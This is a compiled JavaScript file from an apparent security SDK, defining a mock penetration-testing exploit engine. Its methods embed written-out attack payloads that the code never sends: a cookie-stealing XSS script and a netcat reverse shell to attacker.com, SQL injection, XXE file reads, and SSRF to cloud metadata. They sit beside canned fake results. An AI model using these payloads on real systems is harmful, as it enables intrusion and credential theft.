@iota-big3/sdk-security
Version:
Advanced security features including zero trust, quantum-safe crypto, and ML threat detection
423 lines (415 loc) • 16.1 kB
JavaScript
"use strict";
/**
* Exploit Engine
* Automated exploitation framework for penetration testing
*/
Object.defineProperty(exports, "__esModule", { value: true });
exports.ExploitEngine = void 0;
const tslib_1 = require("tslib");
const crypto = tslib_1.__importStar(require("crypto"));
const events_1 = require("events");
const types_1 = require("./types");
class ExploitEngine extends events_1.EventEmitter {
constructor() {
super();
this.modules = new Map();
this.activeExploits = new Map();
this.initializeModules();
}
/**
* Attempt to exploit a vulnerability
*/
async exploitVulnerability(vulnerability) {
const exploitId = crypto.randomUUID();
this.emit('exploit:started', {
exploitId,
vulnerability: vulnerability.id,
category: vulnerability.category
});
try {
// Check if already being exploited
if (this.activeExploits.has(vulnerability.id)) {
return this.activeExploits.get(vulnerability.id);
}
// Find suitable exploit modules
const modules = this.modules.get(vulnerability.category) || [];
if (modules.length === 0) {
return {
success: false,
output: 'No exploit module available for this vulnerability type'
};
}
// Try modules in order of reliability
const sortedModules = modules.sort((a, b) => {
const reliability = { HIGH: 3, MEDIUM: 2, LOW: 1 };
return reliability[b.reliability] - reliability[a.reliability];
});
let result = { success: false };
for (const module of sortedModules) {
this.emit('exploit:module', {
exploitId,
module: module.name
});
try {
result = await module.execute(vulnerability);
if (result.success) {
break;
}
}
catch (error) {
this.emit('exploit:module-failed', {
exploitId,
module: module.name,
error
});
}
}
// Update vulnerability status
vulnerability.exploitStatus = result.success
? types_1.ExploitStatus.SUCCESSFUL
: types_1.ExploitStatus.FAILED;
this.emit('exploit:completed', {
exploitId,
vulnerability: vulnerability.id,
success: result.success
});
return result;
}
catch (error) {
this.emit('exploit:failed', {
exploitId,
vulnerability: vulnerability.id,
error
});
return {
success: false,
output: `Exploitation failed: ${error.message}`
};
}
finally {
this.activeExploits.delete(vulnerability.id);
}
}
/**
* Check if exploitation is safe
*/
isSafeToExploit(vulnerability) {
// Safety checks
const dangerousCategories = [
types_1.VulnerabilityCategory.DENIAL_OF_SERVICE,
types_1.VulnerabilityCategory.BUFFER_OVERFLOW
];
if (dangerousCategories.includes(vulnerability.category)) {
return false;
}
// Check if target is production
const target = vulnerability.affectedTarget;
if (target.metadata?.environment === 'production') {
return false;
}
return true;
}
/**
* Initialize exploit modules
*/
initializeModules() {
// SQL Injection exploits
this.addModule({
name: 'SQL_UNION_EXTRACT',
category: types_1.VulnerabilityCategory.INJECTION,
reliability: 'HIGH',
execute: async (vuln) => this.exploitSQLInjection(vuln)
});
// XSS exploits
this.addModule({
name: 'XSS_COOKIE_STEALER',
category: types_1.VulnerabilityCategory.XSS,
reliability: 'HIGH',
execute: async (vuln) => this.exploitXSS(vuln)
});
// Command injection exploits
this.addModule({
name: 'CMD_REVERSE_SHELL',
category: types_1.VulnerabilityCategory.INJECTION,
reliability: 'MEDIUM',
execute: async (vuln) => this.exploitCommandInjection(vuln)
});
// Path traversal exploits
this.addModule({
name: 'PATH_FILE_READ',
category: types_1.VulnerabilityCategory.BROKEN_ACCESS_CONTROL,
reliability: 'HIGH',
execute: async (vuln) => this.exploitPathTraversal(vuln)
});
// Weak authentication exploits
this.addModule({
name: 'BRUTE_FORCE_LOGIN',
category: types_1.VulnerabilityCategory.BROKEN_AUTHENTICATION,
reliability: 'MEDIUM',
execute: async (vuln) => this.exploitWeakAuth(vuln)
});
// XXE exploits
this.addModule({
name: 'XXE_FILE_READ',
category: types_1.VulnerabilityCategory.XXE,
reliability: 'HIGH',
execute: async (vuln) => this.exploitXXE(vuln)
});
// SSRF exploits
this.addModule({
name: 'SSRF_INTERNAL_SCAN',
category: types_1.VulnerabilityCategory.SSRF,
reliability: 'MEDIUM',
execute: async (vuln) => this.exploitSSRF(vuln)
});
// Privilege escalation exploits
this.addModule({
name: 'PRIV_ESC_SUDO',
category: types_1.VulnerabilityCategory.PRIVILEGE_ESCALATION,
reliability: 'LOW',
execute: async (vuln) => this.exploitPrivEsc(vuln)
});
}
addModule(module) {
const modules = this.modules.get(module.category) || [];
modules.push(module);
this.modules.set(module.category, modules);
}
/**
* Exploit implementations
*/
async exploitSQLInjection(vuln) {
this.emit('exploit:technique', {
vulnerability: vuln.id,
technique: 'SQL_UNION_EXTRACT'
});
// Mock SQL injection exploitation
const payloads = [
"' UNION SELECT NULL, database(), user()--",
"' UNION SELECT NULL, table_name, NULL FROM information_schema.tables--",
"' UNION SELECT NULL, column_name, NULL FROM information_schema.columns--"
];
const extractedData = [
'Database: shopping_db',
'User: root@localhost',
'Tables: users, orders, products, sessions',
'Columns in users: id, username, password, email, role'
];
return {
success: true,
output: extractedData.join('\n'),
artifacts: [
'database_schema.txt',
'user_privileges.txt'
],
screenshot: 'sql_injection_proof.png'
};
}
async exploitXSS(vuln) {
this.emit('exploit:technique', {
vulnerability: vuln.id,
technique: 'XSS_COOKIE_STEALER'
});
// Mock XSS exploitation
const payload = `<script>
fetch('http://attacker.com/steal?c=' + document.cookie);
</script>`;
return {
success: true,
output: 'XSS payload injected successfully\nCaptured cookies:\n- sessionId=abc123def456\n- userId=admin',
screenshot: 'xss_execution.png'
};
}
async exploitCommandInjection(vuln) {
this.emit('exploit:technique', {
vulnerability: vuln.id,
technique: 'CMD_REVERSE_SHELL'
});
// Mock command injection
const payload = '; nc -e /bin/bash attacker.com 4444';
return {
success: true,
output: 'Reverse shell established on port 4444',
shellAccess: true,
privilegeLevel: 'www-data'
};
}
async exploitPathTraversal(vuln) {
this.emit('exploit:technique', {
vulnerability: vuln.id,
technique: 'PATH_FILE_READ'
});
// Mock path traversal exploitation
const files = [
'/etc/passwd',
'/etc/shadow',
'/var/www/html/config.php'
];
const fileContents = `
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
--- config.php ---
$db_host = 'localhost';
$db_user = 'admin';
$db_pass = 'P@ssw0rd123';
$db_name = 'webapp';
`.trim();
return {
success: true,
output: fileContents,
artifacts: files
};
}
async exploitWeakAuth(vuln) {
this.emit('exploit:technique', {
vulnerability: vuln.id,
technique: 'BRUTE_FORCE_LOGIN'
});
// Mock authentication bypass
const credentials = [
{ username: 'admin', password: 'admin' },
{ username: 'admin', password: 'password' },
{ username: 'admin', password: '123456' }
];
return {
success: true,
output: 'Authentication bypassed\nValid credentials: admin/admin\nSession token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9',
privilegeLevel: 'administrator'
};
}
async exploitXXE(vuln) {
this.emit('exploit:technique', {
vulnerability: vuln.id,
technique: 'XXE_FILE_READ'
});
// Mock XXE exploitation
const payload = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY xxe2 SYSTEM "file:///proc/self/environ">
]>
<data>&xxe;&xxe2;</data>`;
return {
success: true,
output: 'XXE exploitation successful\nExtracted system files and environment variables',
artifacts: [
'/etc/passwd',
'/proc/self/environ'
]
};
}
async exploitSSRF(vuln) {
this.emit('exploit:technique', {
vulnerability: vuln.id,
technique: 'SSRF_INTERNAL_SCAN'
});
// Mock SSRF exploitation
const internalServices = [
'http://localhost:6379 - Redis (no auth)',
'http://localhost:9200 - Elasticsearch',
'http://169.254.169.254 - AWS Metadata',
'http://internal-admin.local - Admin panel'
];
return {
success: true,
output: `Internal network scan via SSRF:\n${internalServices.join('\n')}`,
artifacts: ['internal_network_map.txt']
};
}
async exploitPrivEsc(vuln) {
this.emit('exploit:technique', {
vulnerability: vuln.id,
technique: 'PRIV_ESC_SUDO'
});
// Mock privilege escalation
const sudoers = `
User www-data may run the following commands:
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/find
`.trim();
return {
success: true,
output: `${sudoers}\n\nPrivilege escalation successful via sudo vim\nGained root access`,
shellAccess: true,
privilegeLevel: 'root'
};
}
/**
* Generate proof of concept
*/
generatePoC(vulnerability) {
const poc = `
# Proof of Concept: ${vulnerability.title}
## Vulnerability Details
- **Category**: ${vulnerability.category}
- **Severity**: ${vulnerability.severity}
- **Target**: ${vulnerability.affectedTarget.address}
- **Component**: ${vulnerability.affectedComponent || 'N/A'}
## Exploitation Steps
1. Identify the vulnerable parameter/endpoint
2. Craft the payload based on the vulnerability type
3. Send the malicious request
4. Observe the response/behavior
## Sample Payload
\`\`\`
${this.getSamplePayload(vulnerability)}
\`\`\`
## Expected Result
${this.getExpectedResult(vulnerability)}
## Mitigation
${vulnerability.remediation.summary}
---
Generated by IOTA Security Scanner
`.trim();
return poc;
}
getSamplePayload(vuln) {
const payloads = {
[types_1.VulnerabilityCategory.INJECTION]: "' OR '1'='1'--",
[types_1.VulnerabilityCategory.XSS]: '<script>alert(document.domain)</script>',
[types_1.VulnerabilityCategory.XXE]: '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>',
[types_1.VulnerabilityCategory.SSRF]: 'http://169.254.169.254/latest/meta-data/',
[types_1.VulnerabilityCategory.BROKEN_ACCESS_CONTROL]: '../../../etc/passwd',
[types_1.VulnerabilityCategory.BROKEN_AUTHENTICATION]: 'admin:admin',
[types_1.VulnerabilityCategory.SECURITY_MISCONFIGURATION]: 'N/A - Configuration issue',
[types_1.VulnerabilityCategory.SENSITIVE_DATA_EXPOSURE]: 'N/A - Data exposure issue',
[types_1.VulnerabilityCategory.USING_VULNERABLE_COMPONENTS]: 'N/A - Component vulnerability',
[types_1.VulnerabilityCategory.INSUFFICIENT_LOGGING]: 'N/A - Logging issue',
[types_1.VulnerabilityCategory.CSRF]: '<form action="http://vulnerable.com/transfer" method="POST">',
[types_1.VulnerabilityCategory.BUFFER_OVERFLOW]: 'A' * 1000,
[types_1.VulnerabilityCategory.PRIVILEGE_ESCALATION]: 'sudo -l',
[types_1.VulnerabilityCategory.INFORMATION_DISCLOSURE]: 'N/A - Information leak',
[types_1.VulnerabilityCategory.DENIAL_OF_SERVICE]: 'N/A - DoS payload',
[types_1.VulnerabilityCategory.BUSINESS_LOGIC]: 'N/A - Logic flaw',
[types_1.VulnerabilityCategory.INSECURE_DESERIALIZATION]: 'N/A - Serialized payload',
[types_1.VulnerabilityCategory.OTHER]: 'N/A'
};
return payloads[vuln.category] || 'N/A';
}
getExpectedResult(vuln) {
const results = {
[types_1.VulnerabilityCategory.INJECTION]: 'Database contents displayed or error message revealing DB structure',
[types_1.VulnerabilityCategory.XSS]: 'JavaScript executes in victim\'s browser',
[types_1.VulnerabilityCategory.XXE]: 'System files contents displayed',
[types_1.VulnerabilityCategory.SSRF]: 'Internal resources accessed',
[types_1.VulnerabilityCategory.BROKEN_ACCESS_CONTROL]: 'Unauthorized resource access',
[types_1.VulnerabilityCategory.BROKEN_AUTHENTICATION]: 'Authentication bypass',
[types_1.VulnerabilityCategory.SECURITY_MISCONFIGURATION]: 'Security weakness exposed',
[types_1.VulnerabilityCategory.SENSITIVE_DATA_EXPOSURE]: 'Sensitive data leaked',
[types_1.VulnerabilityCategory.USING_VULNERABLE_COMPONENTS]: 'Component vulnerability triggered',
[types_1.VulnerabilityCategory.INSUFFICIENT_LOGGING]: 'Security event not logged',
[types_1.VulnerabilityCategory.CSRF]: 'Unauthorized action performed',
[types_1.VulnerabilityCategory.BUFFER_OVERFLOW]: 'Application crash or code execution',
[types_1.VulnerabilityCategory.PRIVILEGE_ESCALATION]: 'Elevated privileges obtained',
[types_1.VulnerabilityCategory.INFORMATION_DISCLOSURE]: 'Sensitive information revealed',
[types_1.VulnerabilityCategory.DENIAL_OF_SERVICE]: 'Service becomes unavailable',
[types_1.VulnerabilityCategory.BUSINESS_LOGIC]: 'Business rule bypassed',
[types_1.VulnerabilityCategory.INSECURE_DESERIALIZATION]: 'Remote code execution',
[types_1.VulnerabilityCategory.OTHER]: 'Vulnerability specific outcome'
};
return results[vuln.category] || 'Vulnerability confirmed';
}
}
exports.ExploitEngine = ExploitEngine;
//# sourceMappingURL=exploit-engine.js.map